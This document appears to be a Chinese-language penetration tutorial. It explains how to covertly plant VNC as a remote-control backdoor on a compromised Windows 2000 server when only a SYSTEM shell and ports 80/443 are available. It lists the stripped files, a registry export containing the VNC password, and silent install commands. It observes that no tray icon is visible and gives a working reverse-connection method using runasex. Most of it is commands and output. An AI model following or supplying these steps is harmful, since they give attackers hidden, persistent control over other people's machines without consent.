这篇文章是为渗透而写的,当初获得了一个Systemm权限的Shell,但是因为目标机器有种种限制,只开80、443等端口,其它端口打不开,这个时候就需要一个GUI交互界面的程序来控制这台机器了,所以给这台机器安装VNC将是一个不错的选择。

准备
准备工作:需要一个交互控制环境,最好获得对方Systemm权限的Shell,下载VNC-3.3.7版本,剥离远程安装所需的文件。在一台机器安装VNC并注册为系统服务,设置好VNC密码,剥离我们所需要的远程安装的文件。
C:\WINNT\Systemm32>dir "C:\Program Files\RealVNC\VNC"
驱动器 C 中的卷没有标签。
卷的序列号是 9464-50C4

C:\Program Files\RealVNC\VNC 的目录
 2004-07-19 12:18
 
 

   . 
  
 2004-07-19 12:18 
  
    .. 
   
 2003-02-19 10:16 61,440 othread2.dll 
   
 2004-06-27 14:26 1,174 VNC.reg 
   
 2004-07-19 01:16 57,344 VNChooks.dll 
   
 2004-07-19 01:12 307,200 winVNC.exe 
   
 4 个文件 427,158 字节 
   
 2 个目录 3,266,203,648 可用字节 
   
 这里我们只需要VNChooks.dll、WinVNC.exe、Othread2.dll三个文件,然后从注册表中导出VNC的设置VNC.reg。 
   
 REGEDIT4 
   
 [HKEY_LOCAL_MACHINE\SOFTWARE\ORL] 
   
 [HKEY_LOCAL_MACHINE\SOFTWARE\ORL\WinVNC3] 
   
 [HKEY_LOCAL_MACHINE\SOFTWARE\ORL\WinVNC3\Default] 
   
 "SocketConnect"=dword:00000001 
   
 "AutoPortSelect"=dword:00000001 
   
 "PortNumber"=dword:00000000 
   
 "InputsEnabled"=dword:00000001 
   
 "LocalInputsDisabled"=dword:00000000 
   
 "QuerySetting"=dword:00000002 
   
 "QueryTimeout"=dword:0000000a 
   
 "Password"=hex:98,e6,55,1f,82,42,48,9e 
   
 "PollUnderCursor"=dword:00000000 
   
 "PollForeground"=dword:00000001 
   
 "PollFullScreen"=dword:00000000 
   
 "OnlyPollConsole"=dword:00000001 
   
 "OnlyPollOnEvent"=dword:00000000

TIPS:如果你要渗透的系统是XP,那么就要在XP上安装VNC并按照上面的步骤剥离VNC远程安装所需文件。

实践
目的是要验证VNC远程安装与正向连接,验证VNC反向连接。目标IP:xxx.xxx.xxx.xxx,已获得一个System Shell,现在我们在目标系统上下载并安装VNC:

C:\WINNT\Systemm32>ver
 ver
 Microsoft Windows 2000 [Version 5.00.2195]
 C:\WINNT\Systemm32>whoami
 whoami
 NT AUTHORITY\SYSTEMM C:\WINNT\Systemm32>riv //解压VNC
 riv
 Extracting from C:\WINNT\Systemm32\riv.exe
 Create By Kaka
 Mail:Kaka@
 Homepage:http://www. Extracting othread2.dll OK
 Extracting VNC.reg OK
 Extracting VNChooks.dll OK
 Extracting winVNC.exe OK
 All OK


然后在命令行下安装VNC:

C:\WINNT\Systemm32>winVNC –install //安装。删除为WinVNC -remove
 winVNC -install
 C:\WINNT\Systemm32>c:\winnt\regedit /s VNC.reg //把VNC注册表内容导入,即配置、密码等
 c:\winnt\regedit /s VNC.reg
 C:\WINNT\Systemm32>net start winVNC //启动VNC服务
 net start winVNC
 VNC Server ……(乱码,内容是安装成功)
 VNC Server ……(乱码,内容是安装成功) C:\WINNT\Systemm32>netstat -an | find ":5800" //查看VNC安装成功与否。
 netstat -an | find ":5800"
 TCP 0.0.0.0:5800 0.0.0.0:0 LISTENING
 C:\WINNT\Systemm32>


安装成功后,我们直接测试VNC的正向连接功能,连上去,如图1所示:
 
图1
连接成功。请注意看图片的右下角,并没有VNC的图标出现。似乎很顺利,接下来应该测试VNC的反向连接,按照VNC的帮助,反向连接格式应该是这样的:
IP:开VNCviewer.exe的监听模式 VNCviewer.exe –listen 默认监听本机的5500端口。
WinVNC –connect VNCviewer监听的IP
问题在这里出现了,耗费了我几个小时,晚上8点到第二天凌晨1点左右都是在搞这个反向连接,痛苦。下边是我的分析思路:运行中的WinVNC也就是安装好VNC后,系统启动的VNC程序:
C:\WINNT\Systemm32>pulist | find "winVNC.exe"
pulist | find "winVNC.exe"
Process PID User
winVNC.exe 3104 NT AUTHORITY\SYSTEMM //注意启动winVNC的系统身份
我在SYSTEMM的Shell环境下输入:
WinVNC –connect myip
以为会在自己开了VNCviewer监听的机器上出现VNC反连过来的得GUI界面,结果确是失望的。查看远程机器的VNC进程如下:
C:\WINNT\Systemm32>winVNC -connect 222.65.110.236
winVNC -connect 222.65.110.236

C:\WINNT\Systemm32>pulist | find "winVNC.exe"
pulist | find "winVNC.exe"
winVNC.exe 3104 NT AUTHORITY\SYSTEMM //注意启动winVNC的系统身份
WinVNC.exe 2392 NT AUTHORITY\SYSTEMM
不能反向连接,这不是我想要的,因为我确实是实验过VNC是可以反连的,而且是从内网连接到外网的机器。继续看资料,在本机实验,问题出在反向连接是可以连接到远程开VNCviewer监听的机器,但是在这个有System权限的Shell下却怎么也反向连接不过来!
百思不得其解,随手在本机敲上VNC反连的命令,看着远程计算机出现我的机器桌面,突然想到反连不成功会不会跟这个有关系?反连需要系统某个用户的身份,及其配置?使用Runas看看(允许用户用其他权限运行指定工具和程序,而不是用户当前登录提供的权限)。
C:\WINNT\Systemm32>runas /profile /env /user:FILE-PRINT\edu "winVNC -connect 222.
65.110.236"
runas /profile /env /user:FILE-PRINT\edu "winVNC -connect 222.65.110.236"
……(看不懂的乱码)
C:\WINNT\Systemm32>pulist | find "winVNC.exe"
pulist | find "winVNC.exe"
winVNC.exe 3104 NT AUTHORITY\SYSTEMM
利用Runas使用这台电脑的一个用户身份执行VNC反向连接失败,提示返回消息韩文没有看懂,也没有继续追究下去,因为我又找到一个别的工具Runasex.exe。

C:\WINNT\Systemm32>runasex edu edu winVNC “-connect 222.65.110.**”
 runasex edu edu winVNC "-connect 222.65.110.**"
 winVNC Execute Succussifully.
 C:\WINNT\Systemm32>netstat -an | find ":5500"
 netstat -an | find ":5500"
 TCP 211.232.169.**:2503 222.65.110.**:5500 ESTABLISHED
 Local
 C:\>netstat -an | find ":5500"
 netstat -an | find ":5500"
 TCP 0.0.0.0:5500 0.0.0.0:0 LISTENING
 TCP 10.0.0.100:5500 211.232.169.**:2503 ESTABLISHED

在我本机出现了期待已久的VNC远程连接界面!成功!
最后得出结论:WinVNC反连的时候,必须要被执行一次,即系统有一个VNC的运行进程,反连在此基础上运行才能成功。而且WinVNC的反连必须要以一个用户的身份来连接System权限不可以启动WinVNC的反连。更多的功能需要自己动手去实践,如有问题欢迎与我讨论。